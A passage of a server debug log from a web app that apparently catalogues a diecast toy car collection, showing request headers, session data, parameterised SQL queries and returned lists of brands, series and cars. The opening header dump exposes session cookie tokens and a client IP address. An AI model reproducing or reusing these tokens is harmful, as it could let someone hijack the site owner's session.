    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:50.441Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-30T08:53:50.442Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-30T08:53:50.444Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-30T08:53:50.445Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-30T08:53:50.445Z server-connect:app Executing action step identify
2026-07-30T08:53:50.445Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:50.445Z server-connect:output identity: 14
2026-07-30T08:53:50.445Z server-connect:app Executing action step restrict
2026-07-30T08:53:50.445Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:50.446Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-30T08:53:50.446Z server-connect:output restrict: undefined
2026-07-30T08:53:50.446Z server-connect:app Executing action step select
2026-07-30T08:53:50.446Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-30T08:53:50.447Z server-connect:app Executing action step identify
2026-07-30T08:53:50.447Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:50.447Z server-connect:output identity: 14
2026-07-30T08:53:50.447Z server-connect:app Executing action step restrict
2026-07-30T08:53:50.447Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:50.449Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 },
  { name: 'Drag Racers', id: 227 },
  { name: '1968 Vintage Club', id: 231 },
  { name: 'Then And Now', id: 232 },
  { name: 'Nightspeed', id: 233 },
  { name: "Layin' Low", id: 234 },
  { name: 'Factory Fresh', id: 235 },
  { name: 'Wagons', id: 236 },
  { name: 'Tooned', id: 237 },
  { name: 'HW Fan Driven', id: 238 },
  { name: 'Compact Kings', id: 239 },
  { name: 'Pantone', id: 240 },
  { name: 'Silver Series - Spider-Man', id: 241 },
  { name: 'Silver Series - Pontiac', id: 242 },
  { name: 'MBX Showroom', id: 243 },
  { name: 'MBX Metro', id: 244 },
  { name: 'MBX Adventure', id: 245 },
  { name: 'MBX Rescue', id: 246 },
  { name: 'MBX Roadtrip', id: 247 },
  { name: 'MBX City', id: 248 },
  { name: 'MBX Construction', id: 249 },
  { name: 'MBX Road Trip', id: 250 },
  { name: 'MBX', id: 251 }
]
2026-07-30T08:53:50.450Z server-connect:app Executing action step identify
2026-07-30T08:53:50.450Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:50.450Z server-connect:output identity: 14
2026-07-30T08:53:50.450Z server-connect:app Executing action step restrict
2026-07-30T08:53:50.450Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:50.451Z server-connect:app Executing action step identify
2026-07-30T08:53:50.451Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:50.451Z server-connect:output identity: 14
2026-07-30T08:53:50.451Z server-connect:app Executing action step restrict
2026-07-30T08:53:50.451Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:50.452Z server-connect:output restrict: undefined
2026-07-30T08:53:50.452Z server-connect:app Executing action step select
2026-07-30T08:53:50.452Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-30T08:53:50.453Z server-connect:output restrict: undefined
2026-07-30T08:53:50.453Z server-connect:app Executing action step select
2026-07-30T08:53:50.453Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-30T08:53:50.454Z server-connect:app Executing action step identify
2026-07-30T08:53:50.454Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:50.454Z server-connect:output identity: 14
2026-07-30T08:53:50.454Z server-connect:app Executing action step restrict
2026-07-30T08:53:50.454Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:50.454Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-30T08:53:50.455Z server-connect:output restrict: undefined
2026-07-30T08:53:50.455Z server-connect:app Executing action step paged
2026-07-30T08:53:50.455Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-30T08:53:50.457Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-30T08:53:50.457Z server-connect:app Executing action step select
2026-07-30T08:53:50.457Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-30T08:53:50.458Z server-connect:output restrict: undefined
2026-07-30T08:53:50.458Z server-connect:app Executing action step select
2026-07-30T08:53:50.458Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-30T08:53:50.459Z server-connect:output series: [
  { id: 231, name: '1968 Vintage Club' },
  { id: 239, name: 'Compact Kings' },
  { id: 227, name: 'Drag Racers' },
  { id: 235, name: 'Factory Fresh' },
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 238, name: 'HW Fan Driven' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 234, name: "Layin' Low" },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 251, name: 'MBX' },
  { id: 245, name: 'MBX Adventure' },
  { id: 248, name: 'MBX City' },
  { id: 249, name: 'MBX Construction' },
  { id: 244, name: 'MBX Metro' },
  { id: 246, name: 'MBX Rescue' },
  { id: 250, name: 'MBX Road Trip' },
  { id: 247, name: 'MBX Roadtrip' },
  { id: 243, name: 'MBX Showroom' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' },
  { id: 233, name: 'Nightspeed' },
  { id: 240, name: 'Pantone' },
  { id: 242, name: 'Silver Series - Pontiac' },
  { id: 241, name: 'Silver Series - Spider-Man' },
  { id: 232, name: 'Then And Now' },
  { id: 237, name: 'Tooned' },
  { id: 86, name: 'Vintage' },
  { id: 236, name: 'Wagons' }
]
2026-07-30T08:53:50.459Z server-connect:app Executing action step select
2026-07-30T08:53:50.459Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-30T08:53:50.460Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-30T08:53:50.462Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-30T08:53:50.465Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 194,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      id: 251,
      model_name: '2022 Jeep Wagoneer',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-21T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'MBX Road Trip',
      brand_id: 73,
      series_id: 250,
      case: null,
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 250,
      model_name: 'Audi e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-21T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 249,
      model_name: '2023 Jeep Avenger',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Road Trip',
      brand_id: 73,
      series_id: 250,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 248,
      model_name: 'Blaze Buster ll',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX',
      brand_id: 73,
      series_id: 251,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 247,
      model_name: '2022 Ford F-150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX',
      brand_id: 73,
      series_id: 251,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 246,
      model_name: 'Lamborghini LM002',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 245,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Road Trip',
      brand_id: 73,
      series_id: 250,
      case: 'J',
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 244,
      model_name: '1986 Volvo 240',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Showroom',
      brand_id: 73,
      series_id: 243,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 243,
      model_name: 'Scania XT Fire Truck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Rescue',
      brand_id: 73,
      series_id: 246,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 242,
      model_name: '2023 Ford E-Transit Custom',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 241,
      model_name: '2024 Subaru WRX S4 STI',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 240,
      model_name: '2018 Dodge Durango',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 239,
      model_name: 'MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Construction',
      brand_id: 73,
      series_id: 249,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 238,
      model_name: '2023 Nissan Ariya Pole to Pole',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 237,
      model_name: '2016 Nissan Sentra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 236,
      model_name: 'Garbage Truck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
